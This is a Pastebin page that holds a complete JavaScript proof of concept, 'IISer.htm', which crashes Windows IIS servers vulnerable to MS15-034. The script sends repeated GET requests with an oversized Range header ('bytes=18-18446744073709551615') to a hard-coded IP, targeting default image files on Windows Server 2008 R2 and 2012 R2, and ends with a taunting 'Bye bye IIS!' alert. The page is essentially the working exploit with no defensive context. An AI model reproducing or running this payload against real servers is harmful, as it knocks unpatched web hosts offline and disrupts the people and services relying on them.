Advertisement
Guest User

IISer

a guest
Apr 15th, 2015
3,910
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. /*
  3. Name: IISer.htm
  4. Description: Crashes a Windows IIS host vulnerable to MS15-034
  5. Author: Malik Mesellem (@MME_IT)
  6. */
  7. //Variables
  8. var ip = "10.0.1.1";
  9. var file = "welcome.png"; //For W2K8R2
  10. // var file = "iis-85.png"; //For W2K12R2
  11. var payload = "bytes=18-18446744073709551615"; //Tested on W2K8R2 and W2K12R2
  12. var xmlhttp = new XMLHttpRequest();
  13. //Sends the HTTP request 10 times
  14. for (i = 0; i < 10; i++){
  15.     xmlhttp.open("GET", "http://" + ip + "/" + file, true);
  16.     xmlhttp.setRequestHeader("Range", payload);
  17.     xmlhttp.send();
  18. }
  19. alert("Bye bye IIS!");
  20. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement